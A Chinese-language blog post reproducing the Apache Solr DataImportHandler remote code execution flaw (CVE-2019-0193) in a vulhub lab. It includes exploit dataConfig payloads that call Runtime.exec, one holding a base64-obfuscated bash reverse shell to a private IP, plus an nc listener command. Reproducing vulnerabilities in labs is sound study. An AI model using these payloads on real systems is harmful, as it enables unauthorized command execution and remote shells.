Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)

一.漏洞介绍

  Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击可以通过构造危险的请求,从而造成远程命令执行。

  如果想了解更多,参考:https://paper.seebug.org/1009/

二.影响范围

  Solr影响的范围较广,版本不限于8.2.

三.操作步骤

1.打开靶场

靶场位置:vulhub-master/solr/CVE-2019-0193

2.访问靶场,进行复现

  靶场不需要登录,已经是管理员页面了,直接访问就可以了。

3.执行命令

docker-compose exec solr bash bin/solr create_core -c test2 -d example/example-DIH/solr/db

  可以看到这个已经执行成功了,刷新页面就可以知道。

在添加了核心之后,将使用POC对漏洞进行复现。在Configuration中添加下面的POC;

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/CVE-2019-0193");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

在添加之后,返回虚拟机中进行查看,

4.修改POC代码

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
  
</dataConfig>

5.监听端口,反弹shell

 命令:nc -lnvp 1234

在进行监听操作之后,我发现并没有反弹shell,也毫无反应,难道就只存在文件的写入吗?

可是,在看见其他文章时,也可以反弹啊,这是为什么?试了好几遍还是不可以,

有点头大。

参考链接:https://blog.mumusec.com/index.php/archives/57/

posted @ 2021-07-18 16:38  MCY5  阅读(325)  评论(0编辑  收藏  举报